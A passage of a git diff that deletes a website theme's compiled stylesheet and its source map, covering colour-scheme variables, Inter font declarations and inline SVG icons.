DAuNTI4YzEuMDA3LDAuMjg4LDIuMDA0LDAuNTY3LDMuMDAxLDAuODkzbDAuMzU1LDAuMTE1CWMwLjAxLTAuMTU0LDAuMDEtMC4zMTcsMC4wMS0wLjQ4QzMzLjUxOSwyMi45OTYsMzMuMDExLDIxLjI4NiwzMi4xMTksMTkuODM1eiBNMzIuNjI3LDI4LjAyYy0xLjA0NS0wLjA2Ny0yLjA4MS0wLjE2My0zLjEyNi0wLjI1OQljLTAuNDUxLTAuMDM4LTAuODkyLTAuMDg2LTEuMzQyLTAuMTM1Yy0wLjI4OC0wLjAzOC0wLjUxOCwwLjI1LTAuNDEyLDAuNTI4YzAuMTYzLDAuNDMyLDAuMzE2LDAuODY1LDAuNDcsMS4zMDcJYzAuMzM2LDAuOTgsMC42ODEsMS45NjksMC45OTcsMi45NjhsMC4xMDUsMC4zNDZjMS42NjgtMS4xNDMsMi45NjMtMi43OTUsMy42NDMtNC43MzZMMzIuNjI3LDI4LjAyeiBNMjUuMzEyLDE1LjMzbDAuMDQ4LDAuMzc1CWMwLjEzNCwxLjAzNywwLjIzLDIuMDg1LDAuMzI2LDMuMTIyYzAuMDM4LDAuNDEzLDAuMDc3LDAuODE3LDAuMTA1LDEuMjNjMC4wMTksMC4zMTcsMC4zNzQsMC40OCwwLjYzMywwLjI5OAljMC4zMjYtMC4yNCwwLjY2Mi0wLjQ4LDEuMDA3LTAuNzExYzAuODYzLTAuNTg2LDEuNzE2LTEuMTcyLDIuNTk4LTEuNzM5bDAuMzI2LTAuMjAyQzI4Ljk4NCwxNi40NTQsMjcuMjM5LDE1LjU5OSwyNS4zMTIsMTUuMzN6IE0yNS4zMTIsMTUuMzNsMC4wNDgsMC4zNzVjMC4xMzQsMS4wMzcsMC4yMywyLjA4NSwwLjMyNiwzLjEyMmMwLjAzOCwwLjQxMywwLjA3NywwLjgxNywwLjEwNSwxLjIzCWMwLjAxOSwwLjMxNywwLjM3NCwwLjQ4LDAuNjMzLDAuMjk4YzAuMzI2LTAuMjQsMC42NjItMC40OCwxLjAwNy0wLjcxMWMwLjg2My0wLjU4NiwxLjcxNi0xLjE3MiwyLjU5OC0xLjczOWwwLjMyNi0wLjIwMglDMjguOTg0LDE2LjQ1NCwyNy4yMzksMTUuNTk5LDI1LjMxMiwxNS4zM3ogTTMyLjExOSwxOS44MzVsLTAuMjU5LDAuMjc5Yy0wLjcxOSwwLjc2OS0xLjQ1NywxLjUwOC0yLjE5NiwyLjI0OAljLTAuNDcsMC40OC0wLjk3OCwwLjk0MS0xLjQ2NywxLjQxMmMwLjY1MiwwLjE2MywxLjMwNCwwLjMzNiwxLjk1NiwwLjUyOGMxLjAwNywwLjI4OCwyLjAwNCwwLjU2NywzLjAwMSwwLjg5M2wwLjM1NSwwLjExNQljMC4wMS0wLjE1NCwwLjAxLTAuMzE3LDAuMDEtMC40OEMzMy41MTksMjIuOTk2LDMzLjAxMSwyMS4yODYsMzIuMTE5LDE5LjgzNXogTTMyLjExOSwxOS44MzVsLTAuMjU5LDAuMjc5CWMtMC43MTksMC43NjktMS40NTcsMS41MDgtMi4xOTYsMi4yNDhjLTAuNDcsMC40OC0wLjk3OCwwLjk0MS0xLjQ2NywxLjQxMmMwLjY1MiwwLjE2MywxLjMwNCwwLjMzNiwxLjk1NiwwLjUyOAljMS4wMDcsMC4yODgsMi4wMDQsMC41NjcsMy4wMDEsMC44OTNsMC4zNTUsMC4xMTVjMC4wMS0wLjE1NCwwLjAxLTAuMzE3LDAuMDEtMC40OEMzMy41MTksMjIuOTk2LDMzLjAxMSwyMS4yODYsMzIuMTE5LDE5LjgzNXogTTI1LjMxMiwxNS4zM2wwLjA0OCwwLjM3NWMwLjEzNCwxLjAzNywwLjIzLDIuMDg1LDAuMzI2LDMuMTIyYzAuMDM4LDAuNDEzLDAuMDc3LDAuODE3LDAuMTA1LDEuMjMJYzAuMDE5LDAuMzE3LDAuMzc0LDAuNDgsMC42MzMsMC4yOThjMC4zMjYtMC4yNCwwLjY2Mi0wLjQ4LDEuMDA3LTAuNzExYzAuODYzLTAuNTg2LDEuNzE2LTEuMTcyLDIuNTk4LTEuNzM5bDAuMzI2LTAuMjAyCUMyOC45ODQsMTYuNDU0LDI3LjIzOSwxNS41OTksMjUuMzEyLDE1LjMzeiBNMjUuMzEyLDE1LjMzbDAuMDQ4LDAuMzc1YzAuMTM0LDEuMDM3LDAuMjMsMi4wODUsMC4zMjYsMy4xMjIJYzAuMDM4LDAuNDEzLDAuMDc3LDAuODE3LDAuMTA1LDEuMjNjMC4wMTksMC4zMTcsMC4zNzQsMC40OCwwLjYzMywwLjI5OGMwLjMyNi0wLjI0LDAuNjYyLTAuNDgsMS4wMDctMC43MTEJYzAuODYzLTAuNTg2LDEuNzE2LTEuMTcyLDIuNTk4LTEuNzM5bDAuMzI2LTAuMjAyQzI4Ljk4NCwxNi40NTQsMjcuMjM5LDE1LjU5OSwyNS4zMTIsMTUuMzN6IE0zMi4xMTksMTkuODM1bC0wLjI1OSwwLjI3OQljLTAuNzE5LDAuNzY5LTEuNDU3LDEuNTA4LTIuMTk2LDIuMjQ4Yy0wLjQ3LDAuNDgtMC45NzgsMC45NDEtMS40NjcsMS40MTJjMC42NTIsMC4xNjMsMS4zMDQsMC4zMzYsMS45NTYsMC41MjgJYzEuMDA3LDAuMjg4LDIuMDA0LDAuNTY3LDMuMDAxLDAuODkzbDAuMzU1LDAuMTE1YzAuMDEtMC4xNTQsMC4wMS0wLjMxNywwLjAxLTAuNDhDMzMuNTE5LDIyLjk5NiwzMy4wMTEsMjEuMjg2LDMyLjExOSwxOS44MzV6IE0zMi4xMTksMTkuODM1bC0wLjI1OSwwLjI3OWMtMC43MTksMC43NjktMS40NTcsMS41MDgtMi4xOTYsMi4yNDhjLTAuNDcsMC40OC0wLjk3OCwwLjk0MS0xLjQ2NywxLjQxMgljMC42NTIsMC4xNjMsMS4zMDQsMC4zMzYsMS45NTYsMC41MjhjMS4wMDcsMC4yODgsMi4wMDQsMC41NjcsMy4wMDEsMC44OTNsMC4zNTUsMC4xMTVjMC4wMS0wLjE1NCwwLjAxLTAuMzE3LDAuMDEtMC40OAlDMzMuNTE5LDIyLjk5NiwzMy4wMTEsMjEuMjg2LDMyLjExOSwxOS44MzV6IE0yNS4zMTIsMTUuMzNsMC4wNDgsMC4zNzVjMC4xMzQsMS4wMzcsMC4yMywyLjA4NSwwLjMyNiwzLjEyMgljMC4wMzgsMC40MTMsMC4wNzcsMC44MTcsMC4xMDUsMS4yM2MwLjAxOSwwLjMxNywwLjM3NCwwLjQ4LDAuNjMzLDAuMjk4YzAuMzI2LTAuMjQsMC42NjItMC40OCwxLjAwNy0wLjcxMQljMC44NjMtMC41ODYsMS43MTYtMS4xNzIsMi41OTgtMS43MzlsMC4zMjYtMC4yMDJDMjguOTg0LDE2LjQ1NCwyNy4yMzksMTUuNTk5LDI1LjMxMiwxNS4zM3ogTTI1LjMxMiwxNS4zM2wwLjA0OCwwLjM3NQljMC4xMzQsMS4wMzcsMC4yMywyLjA4NSwwLjMyNiwzLjEyMmMwLjAzOCwwLjQxMywwLjA3NywwLjgxNywwLjEwNSwxLjIzYzAuMDE5LDAuMzE3LDAuMzc0LDAuNDgsMC42MzMsMC4yOTgJYzAuMzI2LTAuMjQsMC42NjItMC40OCwxLjAwNy0wLjcxMWMwLjg2My0wLjU4NiwxLjcxNi0xLjE3MiwyLjU5OC0xLjczOWwwLjMyNi0wLjIwMkMyOC45ODQsMTYuNDU0LDI3LjIzOSwxNS41OTksMjUuMzEyLDE1LjMzeiBNMjUuMzEyLDE1LjMzbDAuMDQ4LDAuMzc1YzAuMTM0LDEuMDM3LDAuMjMsMi4wODUsMC4zMjYsMy4xMjJjMC4wMzgsMC40MTMsMC4wNzcsMC44MTcsMC4xMDUsMS4yMwljMC4wMTksMC4zMTcsMC4zNzQsMC40OCwwLjYzMywwLjI5OGMwLjMyNi0wLjI0LDAuNjYyLTAuNDgsMS4wMDctMC43MTFjMC44NjMtMC41ODYsMS43MTYtMS4xNzIsMi41OTgtMS43MzlsMC4zMjYtMC4yMDIJQzI4Ljk4NCwxNi40NTQsMjcuMjM5LDE1LjU5OSwyNS4zMTIsMTUuMzN6Ij48L3BhdGg+PHBhdGggZmlsbD0ibm9uZSIgZD0iTTEyLjkzMywyOC4yMzFjLTAuMjIxLDAuMDE5LTAuNDMxLDAuMDE5LTAuNjgxLTAuMTA2Yy0wLjI5Ny0wLjEyNS0wLjU3NS0wLjIwMi0wLjgyNS0wLjExNQljLTAuMjU5LDAuMDQ4LTAuNTA4LDAuMTE1LTAuNzU3LDAuMTkyYy0wLjQ5OSwwLjE2My0wLjk4OCwwLjM0Ni0xLjQ0OCwwLjY3MmMtMC40NywwLjMzNi0xLjEyMiwwLjIyMS0xLjQ1Ny0wLjI1CWMtMC4zMjYtMC40NzEtMC4yMjEtMS4xMjQsMC4yNDktMS40NTFjMC4yNC0wLjE3MywwLjUzNy0wLjIzMSwwLjgwNS0wLjE4M2MwLjU0NywwLjExNSwxLjA3NCwwLjA3NywxLjU5MiwwLjAxCWMwLjI1OS0wLjAyOSwwLjUxOC0wLjA3NywwLjc2Ny0wLjE0NGMwLjI1OS0wLjAxOSwwLjQ4OS0wLjIxMSwwLjctMC40NTFjMC4xODItMC4yMTEsMC4zOTMtMC4yOTgsMC42MDQtMC4zNzUJQzEyLjU2OSwyNi43ODEsMTIuNzEzLDI3LjUyLDEyLjkzMywyOC4yMzF6Ij48L3BhdGg+PHBhdGggZmlsbD0ibm9uZSIgZD0iTTIwLjA1NywzNS42ODZjLTAuMTE1LDAuMjExLTAuMjQ5LDAuNDAzLTAuNTE4LDAuNTQ4Yy0wLjI3OCwwLjE1NC0wLjUwOCwwLjMzNi0wLjU5NCwwLjU4NgljLTAuMTE1LDAuMjMxLTAuMjIxLDAuNDcxLTAuMzA3LDAuNzExYy0wLjE3MywwLjUtMC4zMjYsMC45OTktMC4zMzYsMS41NjZjLTAuMDE5LDAuNTc2LTAuNTA4LDEuMDI4LTEuMDgzLDEuMDA5CWMtMC41NzUtMC4wMTktMS4wMjYtMC40OTktMS4wMDctMS4wNzZjMC4wMS0wLjI5OCwwLjE0NC0wLjU1NywwLjM0NS0wLjc0YzAuNDIyLTAuMzg0LDAuNzEtMC44MjYsMC45NzgtMS4yNjgJYzAuMTI1LTAuMjMxLDAuMjQtMC40NjEsMC4zNDUtMC43MDFjMC4xMzQtMC4yMjEsMC4xMjUtMC41MTksMC4wNjctMC44MzZjLTAuMDY3LTAuMjk4LDAtMC41MzgsMC4wNzctMC43NTkJQzE4LjY2NywzNS4xMSwxOS4zNDgsMzUuNDM2LDIwLjA1NywzNS42ODZ6Ij48L3BhdGg+PHBhdGggZmlsbD0ibm9uZSIgZD0iTTMxLjQzOCwzOS43ODhjLTAuMzkzLDAuNDIzLTEuMDQ1LDAuNDUxLTEuNDc3LDAuMDY3Yy0wLjIyMS0wLjIwMi0wLjMzNi0wLjQ3MS0wLjMzNi0wLjc0OQljLTAuMDE5LTAuNTY3LTAuMTYzLTEuMDY2LTAuMzM2LTEuNTY2Yy0wLjA4Ni0wLjI0LTAuMTgyLTAuNDgtMC4yOTctMC43MmMtMC4wODYtMC4yNS0wLjMxNi0wLjQyMy0wLjU5NS0wLjU4NgljLTAuMjY4LTAuMTQ0LTAuNDAzLTAuMzQ2LTAuNTM3LTAuNTY3YzAuNzE5LTAuMjU5LDEuNDA5LTAuNTk2LDIuMDUyLTAuOTg5djAuMDFjMC4wNzcsMC4yNSwwLjE2MywwLjQ5LDAuMDg2LDAuODE3CWMtMC4wNjcsMC4zMTctMC4wNzcsMC42MDUsMC4wNTgsMC44MzZjMC4xMDUsMC4yMzEsMC4yMjEsMC40NzEsMC4zNDUsMC42OTJjMC4yNTksMC40NTEsMC41NDcsMC45MDMsMC45NjgsMS4yNzgJQzMxLjc5MywzOC43MDIsMzEuODIyLDM5LjM1NiwzMS40MzgsMzkuNzg4eiI+PC9wYXRoPjxwYXRoIGZpbGw9Im5vbmUiIGQ9Ik0zOS42NDYsMjguODQ2Yy0wLjI4OCwwLjA2Ny0wLjU3NSwwLTAuODA1LTAuMTQ0Yy0wLjQ3LTAuMzE3LTAuOTY4LTAuNDktMS40NjctMC42MzQJYy0wLjI0OS0wLjA2Ny0wLjUwOC0wLjEyNS0wLjc1Ny0wLjE2M2MtMC4yNDktMC4wNzctMC41MzcsMC0wLjgyNSwwLjEzNGMtMC4yODgsMC4xNjMtMC41NDcsMC4xMzUtMC44MTUsMC4xMTVoLTAuMDI5CWMwLjIyMS0wLjcyLDAuMzY0LTEuNDcsMC40NDEtMi4yMzhoMC4wMWMwLjI0OSwwLjA3NywwLjQ5OSwwLjE0NCwwLjcxOSwwLjQwM2MwLjIyMSwwLjIzMSwwLjQ1MSwwLjQwMywwLjcxLDAuNDIzCWMwLjI1OSwwLjA1OCwwLjUwOCwwLjA5NiwwLjc2NywwLjEyNWMwLjUyNywwLjA0OCwxLjA0NSwwLjA2NywxLjYwMS0wLjA1OGMwLjU2Ni0wLjEyNSwxLjEyMiwwLjIzMSwxLjI0NiwwLjc5NwlDNDAuNTY2LDI4LjE2NCw0MC4yMTEsMjguNzIxLDM5LjY0NiwyOC44NDZ6Ij48L3BhdGg+Cjwvc3ZnPg==") 50% 50% no-repeat;background-size:100%}:root{--font-family: 'Inter', sans-serif;--font-family-brand: 'Times', serif;--font-family-code: 'Menlo', monospace;--background: #ffffff;--color: #355265;--color2: #274457;--color3: #476d86;--color-anchor: #328ac1;--color-hover: #4b9dd0;--background-fg: #f7f7f7;--background-fg2: #ebebeb;--border-color: #dddddd;--box-shadow: 0 0 1px rgba(0, 0, 0, .7);--box-shadow2: 0 0 3px rgba(0, 0, 0, .2);--blur: 10px;--home-cover-background: radial-gradient(circle, rgba(255,255,255,1) 0%, rgba(255,255,250,1) 25%, rgba(214,219,220,1) 50%, rgba(255,255,250,1) 75%, rgba(255,255,255,1) 100%);--icon-filter: invert(41%) sepia(19%) saturate(840%) hue-rotate(161deg) brightness(92%) contrast(92%);--chroma-base00: #f9f9f9;--chroma-base01: #e0e0e0;--chroma-base02: rgba(159, 218, 159, .2);--chroma-base03: #8e908c;--chroma-base04: #969896;--chroma-base05: #4d4d4c;--chroma-base06: #282a2e;--chroma-base07: #1d1f21;--chroma-base08: #c82829;--chroma-base09: #f5871f;--chroma-base0A: #eab700;--chroma-base0B: #718c00;--chroma-base0C: #3e999f;--chroma-base0D: #4271ae;--chroma-base0E: #8959a8;--chroma-base0F: #a3685a}:root[data-color="dark"]{--background: #121212;--color: #efefef;--color2: #ffffff;--color3: #b3b3b3;--background-fg: #333333;--background-fg2: #1f1f1f;--border-color: rgba(255, 255, 255, .4);--box-shadow: 0 0 1px rgba(255, 255, 255, 1);--box-shadow2: 0 0 3px rgba(255, 255, 255, .6);--home-cover-background: radial-gradient(circle, rgba(23,23,25,1) 0%, rgba(18,18,0,1) 25%, rgba(32,32,32,1) 50%, rgba(18,18,0,1) 75%, rgba(23,23,25,1) 100%);--icon-filter: invert(83%) sepia(0%) saturate(1582%) hue-rotate(126deg) brightness(86%) contrast(80%);--chroma-base00: #080808;--chroma-base01: #393939;--chroma-base02: rgba(159, 218, 159, .1);--chroma-base03: #999999;--chroma-base04: #b4b7b4;--chroma-base05: #cccccc;--chroma-base06: #e0e0e0;--chroma-base07: #ffffff;--chroma-base08: #f2777a;--chroma-base09: #f99157;--chroma-base0A: #ffcc66;--chroma-base0B: #99cc99;--chroma-base0C: #66cccc;--chroma-base0D: #6699cc;--chroma-base0E: #cc99cc;--chroma-base0F: #a3685a}:root[data-color="night"]{--background: #333333;--color: #cccccc;--color2: #dedede;--color3: #9d9d9d;--background-fg: #444444;--background-fg2: #303030;--border-color: rgba(255, 255, 255, 0.2);--box-shadow: 0 0 1px rgba(225, 255, 255, 1);--box-shadow2: 0 0 3px rgba(255, 255, 255, .6);--home-cover-background: radial-gradient(circle, rgba(52,52,52,1) 0%, rgba(42,42,42,1) 25%, rgba(57,57,57,1) 50%, rgba(42,42,42,1) 75%, rgba(52,52,52,1) 100%);--icon-filter: invert(60%) sepia(25%) saturate(20%) hue-rotate(343deg) brightness(98%) contrast(94%);--chroma-base00: #1e1e1e;--chroma-base01: #323537;--chroma-base02: rgba(159, 218, 159, .1);--chroma-base03: #5f5a60;--chroma-base04: #838184;--chroma-base05: #a7a7a7;--chroma-base06: #c3c3c3;--chroma-base07: #ffffff;--chroma-base08: #cf6a4c;--chroma-base09: #cda869;--chroma-base0A: #f9ee98;--chroma-base0B: #8f9d6a;--chroma-base0C: #afc4db;--chroma-base0D: #7587a6;--chroma-base0E: #9b859d;--chroma-base0F: #9b703f}.icon:not(.icon-colored){filter:var(--icon-filter)} - -/*# sourceMappingURL=default.css.map */ \ No newline at end of file diff --git a/public/scss/theme/default.css.map b/public/scss/theme/default.css.map deleted file mode 100644 index 2d65e96..0000000 --- a/public/scss/theme/default.css.map +++ /dev/null @@ -1,17 +0,0 @@ -{ - "version": 3, - "file": "default.css", - "sourceRoot": "/Users/sangambiradar/Documents/GitHub/kubernetesdaily.github.io", - "sources": [ - "assets/scss/theme/default.scss", - "assets/scss/font/inter.scss", - "assets/scss/icon/default.scss" - ], - "sourcesContent": [ - "@import \"../font/inter\";\n@import \"../icon/default\";\n\n:root {\n --font-family: 'Inter', sans-serif;\n --font-family-brand: 'Times', serif;\n --font-family-code: 'Menlo', monospace;\n\n --background: #ffffff;\n --color: #355265;\n --color2: #274457;\n --color3: #476d86;\n\n --color-anchor: #328ac1;\n --color-hover: #4b9dd0;\n\n --background-fg: #f7f7f7;\n --background-fg2: #ebebeb;\n --border-color: #dddddd;\n\n --box-shadow: 0 0 1px rgba(0, 0, 0, .7);\n --box-shadow2: 0 0 3px rgba(0, 0, 0, .2);\n\n --blur: 10px;\n\n --home-cover-background: radial-gradient(circle, rgba(255,255,255,1) 0%, rgba(255,255,250,1) 25%, rgba(214,219,220,1) 50%, rgba(255,255,250,1) 75%, rgba(255,255,255,1) 100%);\n\n --icon-filter: invert(41%) sepia(19%) saturate(840%) hue-rotate(161deg) brightness(92%) contrast(92%);\n\n /* base16 tomorrow */\n --chroma-base00: #f9f9f9;\n --chroma-base01: #e0e0e0;\n --chroma-base02: rgba(159, 218, 159, .2);\n --chroma-base03: #8e908c;\n --chroma-base04: #969896;\n --chroma-base05: #4d4d4c;\n --chroma-base06: #282a2e;\n --chroma-base07: #1d1f21;\n --chroma-base08: #c82829;\n --chroma-base09: #f5871f;\n --chroma-base0A: #eab700;\n --chroma-base0B: #718c00;\n --chroma-base0C: #3e999f;\n --chroma-base0D: #4271ae;\n --chroma-base0E: #8959a8;\n --chroma-base0F: #a3685a;\n}\n\n:root[data-color=\"dark\"] {\n --background: #121212;\n --color: #efefef;\n --color2: #ffffff;\n --color3: #b3b3b3;\n\n --background-fg: #333333;\n --background-fg2: #1f1f1f;\n --border-color: rgba(255, 255, 255, .4);\n\n --box-shadow: 0 0 1px rgba(255, 255, 255, 1);\n --box-shadow2: 0 0 3px rgba(255, 255, 255, .6);\n\n --home-cover-background: radial-gradient(circle, rgba(23,23,25,1) 0%, rgba(18,18,0,1) 25%, rgba(32,32,32,1) 50%, rgba(18,18,0,1) 75%, rgba(23,23,25,1) 100%);\n\n --icon-filter: invert(83%) sepia(0%) saturate(1582%) hue-rotate(126deg) brightness(86%) contrast(80%);\n\n /* base16 tomorrow night */\n --chroma-base00: #080808;\n --chroma-base01: #393939;\n --chroma-base02: rgba(159, 218, 159, .1);\n --chroma-base03: #999999;\n --chroma-base04: #b4b7b4;\n --chroma-base05: #cccccc;\n --chroma-base06: #e0e0e0;\n --chroma-base07: #ffffff;\n --chroma-base08: #f2777a;\n --chroma-base09: #f99157;\n --chroma-base0A: #ffcc66;\n --chroma-base0B: #99cc99;\n --chroma-base0C: #66cccc;\n --chroma-base0D: #6699cc;\n --chroma-base0E: #cc99cc;\n --chroma-base0F: #a3685a;\n}\n\n:root[data-color=\"night\"] {\n --background: #333333;\n --color: #cccccc;\n --color2: #dedede;\n --color3: #9d9d9d;\n\n --background-fg: #444444;\n --background-fg2: #303030;\n --border-color: rgba(255, 255, 255, 0.2);\n\n --box-shadow: 0 0 1px rgba(225, 255, 255, 1);\n --box-shadow2: 0 0 3px rgba(255, 255, 255, .6);\n\n --home-cover-background: radial-gradient(circle, rgba(52,52,52,1) 0%, rgba(42,42,42,1) 25%, rgba(57,57,57,1) 50%, rgba(42,42,42,1) 75%, rgba(52,52,52,1) 100%);\n\n --icon-filter: invert(60%) sepia(25%) saturate(20%) hue-rotate(343deg) brightness(98%) contrast(94%);\n\n /* base16 twilight */\n --chroma-base00: #1e1e1e;\n --chroma-base01: #323537;\n --chroma-base02: rgba(159, 218, 159, .1);\n --chroma-base03: #5f5a60;\n --chroma-base04: #838184;\n --chroma-base05: #a7a7a7;\n --chroma-base06: #c3c3c3;\n --chroma-base07: #ffffff;\n --chroma-base08: #cf6a4c;\n --chroma-base09: #cda869;\n --chroma-base0A: #f9ee98;\n --chroma-base0B: #8f9d6a;\n --chroma-base0C: #afc4db;\n --chroma-base0D: #7587a6;\n --chroma-base0E: #9b859d;\n --chroma-base0F: #9b703f;\n}\n\n.icon:not(.icon-colored) {\n filter: var(--icon-filter);\n}", - "@font-face {\n font-family: 'Inter';\n font-style: normal;\n font-weight: 400;\n font-display: swap;\n src: url(\"/font/Inter-Regular.woff2?v=3.19\") format(\"woff2\"),\n url(\"/font/Inter-Regular.woff?v=3.19\") format(\"woff\");\n}\n\n@font-face {\n font-family: 'Inter';\n font-style: italic;\n font-weight: 400;\n font-display: swap;\n src: url(\"/font/Inter-Italic.woff2?v=3.19\") format(\"woff2\"),\n url(\"/font/Inter-Italic.woff?v=3.19\") format(\"woff\");\n}\n\n@font-face {\n font-family: 'Inter';\n font-style: normal;\n font-weight: 600;\n font-display: swap;\n src: url(\"/font/Inter-SemiBold.woff2?v=3.19\") format(\"woff2\"),\n url(\"/font/Inter-SemiBold.woff?v=3.19\") format(\"woff\");\n}\n\n@font-face {\n font-family: 'Inter';\n font-style: italic;\n font-weight: 600;\n font-display: swap;\n src: url(\"/font/Inter-SemiBoldItalic.woff2?v=3.19\") format(\"woff2\"),\n url(\"/font/Inter-SemiBoldItalic.woff?v=3.19\") format(\"woff\");\n}\n", - ".icon {\n display: block;\n width: 18px;\n height: 18px;\n}\n\n/* -- social icons: add `.icon-colored` with `.icon` -- */\n.icon-facebook {\n background-image: url(\"data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18' height='18' viewBox='0 0 30 30' fill='%231877f2' %3E%3Cpath d='M30 15.091C30 6.756 23.285 0 15 0S0 6.756 0 15.091C0 22.625 5.484 28.868 12.656 30V19.454H8.848V15.09h3.808v-3.324c0-3.782 2.239-5.872 5.666-5.872 1.64 0 3.358.295 3.358.295v3.714h-1.893c-1.863 0-2.443 1.164-2.443 2.358v2.83h4.16l-.665 4.362h-3.495V30C24.516 28.868 30 22.625 30 15.091z'%3E%3C/path%3E%3C/svg%3E\");\n}\n\n.icon-twitter {\n background-image: url(\"data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18' height='18' viewBox='0 0 24 24' fill='%231d9bf0' %3E%3Cpath d='M24 4.557c-.883.392-1.832.656-2.828.775 1.017-.609 1.798-1.574 2.165-2.724-.951.564-2.005.974-3.127 1.195-.897-.957-2.178-1.555-3.594-1.555-3.179 0-5.515 2.966-4.797 6.045-4.091-.205-7.719-2.165-10.148-5.144-1.29 2.213-.669 5.108 1.523 6.574-.806-.026-1.566-.247-2.229-.616-.054 2.281 1.581 4.415 3.949 4.89-.693.188-1.452.232-2.224.084.626 1.956 2.444 3.379 4.6 3.419-2.07 1.623-4.678 2.348-7.29 2.04 2.179 1.397 4.768 2.212 7.548 2.212 9.142 0 14.307-7.721 13.995-14.646.962-.695 1.797-1.562 2.457-2.549z'/%3E%3C/svg%3E\");\n transform: scale(1.1);\n}\n\n.icon-youtube {\n background-image: url(\"data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18' height='18' viewBox='0 0 24 24' fill='%23ff0000' %3E%3Cpath d='M23.498 6.186a3.016 3.016 0 0 0-2.122-2.136C19.505 3.545 12 3.545 12 3.545s-7.505 0-9.377.505A3.017 3.017 0 0 0 .502 6.186C0 8.07 0 12 0 12s0 3.93.502 5.814a3.016 3.016 0 0 0 2.122 2.136c1.871.505 9.376.505 9.376.505s7.505 0 9.377-.505a3.015 3.015 0 0 0 2.122-2.136C24 15.93 24 12 24 12s0-3.93-.502-5.814zM9.545 15.568V8.432L15.818 12l-6.273 3.568z'%3E%3C/path%3E%3C/svg%3E\");\n transform: scale(1.1);\n}\n\n.icon-github {\n background-image: url(\"data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18' height='18' viewBox='0 0 16 16' fill='%2324292f' %3E%3Cpath d='M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z'%3E%3C/path%3E%3C/svg%3E\");\n}\n\n:root[data-color=\"dark\"] .icon-github, :root[data-color=\"night\"] .icon-github {\n background-image: url(\"data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18' height='18' viewBox='0 0 16 16' fill='%236e7681' %3E%3Cpath d='M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z'%3E%3C/path%3E%3C/svg%3E\");\n}\n\n\n/* -- template icons -- */\n.icon-menu {\n background-image: url(\"data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24'%3E%3Cpath d='M0,0h24v24H0V0z' fill='none'/%3E%3Cpath d='M4,18h11c0.55,0,1-0.45,1-1v0c0-0.55-0.45-1-1-1H4c-0.55,0-1,0.45-1,1v0C3,17.55,3.45,18,4,18z M4,13h8c0.55,0,1-0.45,1-1v0 c0-0.55-0.45-1-1-1H4c-0.55,0-1,0.45-1,1v0C3,12.55,3.45,13,4,13z M3,7L3,7c0,0.55,0.45,1,1,1h11c0.55,0,1-0.45,1-1v0 c0-0.55-0.45-1-1-1H4C3.45,6,3,6.45,3,7z M20.3,14.88L17.42,12l2.88-2.88c0.39-0.39,0.39-1.02,0-1.41l0,0 c-0.39-0.39-1.02-0.39-1.41,0l-3.59,3.59c-0.39,0.39-0.39,1.02,0,1.41l3.59,3.59c0.39,0.39,1.02,0.39,1.41,0l0,0 C20.68,15.91,20.69,15.27,20.3,14.88z'/%3E%3Cpath d='M0,0h24v24H0V0z' fill='none'/%3E%3C/svg%3E\");\n}\n\n.icon-toc {\n background-image: url(\"data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24' fill='%23000000'%3E%3Cpath d='M0 0h24v24H0V0zm0 0h24v24H0V0z' fill='none'/%3E%3Cpath d='M3 9h14V7H3v2zm0 4h14v-2H3v2zm0 4h14v-2H3v2zm16 0h2v-2h-2v2zm0-10v2h2V7h-2zm0 6h2v-2h-2v2z'/%3E%3C/svg%3E\");\n}\n\n.icon-close {\n background-image: url(\"data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24'%3E%3Cpath d='M0 0h24v24H0V0z' fill='none'/%3E%3Cpath d='M19 6.41L17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41z'/%3E%3C/svg%3E\");\n}\n\n.icon-home {\n background-image: url(\"data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24'%3E%3Crect fill='none' height='24' width='24'/%3E%3Cpolygon opacity='.3' points='18,19 13,19 13,15 11,15 11,19 6,19 6,10.1 12,5.52 18,10.1'/%3E%3Cpath d='M12,3L6,7.58V6H4v3.11L1,11.4l1.21,1.59L4,11.62V21h16v-9.38l1.79,1.36L23,11.4L12,3z M18,19h-5v-4h-2v4H6v-8.9l6-4.58 